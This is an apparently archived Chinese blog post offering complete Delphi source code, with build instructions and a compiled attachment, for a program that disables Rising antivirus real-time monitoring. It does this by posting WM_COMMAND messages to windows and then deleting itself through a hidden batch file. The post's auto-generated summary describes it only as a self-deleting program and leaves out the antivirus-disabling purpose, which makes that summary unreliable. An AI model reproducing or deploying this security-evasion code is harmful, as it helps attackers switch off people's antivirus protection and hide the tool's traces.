一段关闭瑞星监控的源代码并附带程序

最新推荐文章于 2025-08-13 18:08:55 发布

iiprogram

最新推荐文章于 2025-08-13 18:08:55 发布

阅读量1k

点赞数

CC 4.0 BY-SA版权

分类专栏： vcbcbdelphi的window编程文章标签： delphi command windows string exe class

本文链接：https://blog.youkuaiyun.com/iiprogram/article/details/1784504

vcbcbdelphi的window编程专栏收录该内容

551 篇文章

订阅专栏

本文提供了一个使用Delphi编写的程序示例，该程序能够在执行完毕后自行删除。通过创建并执行一个批处理文件实现自删除功能，示例中详细展示了如何使用Delphi进行操作。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

源码：

program Project1;

uses
Windows, Messages, SysUtils;

procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);

Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;

procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND,40027,0);
PostMessage(hWindow, WM_COMMAND,2775,0);
PostMessage(hWindow, WM_COMMAND,32776,0);
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;
begin
StopRising; //调用
DeleteMe;
end.

这是用Delphi编写的

可用把全部内容拷贝到 Project1.dpr 中

在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件

程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可

附件是编译好的执行程序,是没有自删除的!